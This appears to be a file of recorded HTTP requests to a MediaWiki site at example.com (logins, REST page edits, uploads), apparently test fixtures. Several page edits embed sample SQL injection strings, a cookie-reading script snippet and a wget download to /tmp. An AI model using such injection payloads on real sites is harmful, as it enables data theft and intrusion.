image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd.htaccess\r\n--0451c085f0cd430585e04333efbbfbbf--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 120", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=38%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+.htaccess+notes&token=c47e469c2c159f84b563d880403eca806af226a4%2B%5C&format=json&formatversion=2"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=40%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on Lighthouse\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_python3_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1253", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=41%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on python3\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_powershell_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=42%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on powershell\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_ls_-la_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1252", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=43%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on ls -la\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_.htaccess_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1255", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=44%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on .htaccess\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=45%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=logout&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
# From a wiki without short URLs, whose pages are at /index.php/Main_Page:
# signing in, uploading files, and moving a page through the form and the API.
{"method": "GET", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=u5y2w", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "POST", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=cc579f5a6afe54fa22c977aa9653ff9b6af23587%2B%5C"}
{"method": "GET", "target": "/index.php/Main_Page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
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{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20powershell.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIeCXSkQvVQPCIc8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffdY\u0015\u0005\u0000\u0002f\u0001A\u0018\ufffd\ufffd\u0011\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_powershell.png\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on powershell\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n04df2036b25a874079015f228a4935836af2358b+\\\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8--\r\n"}
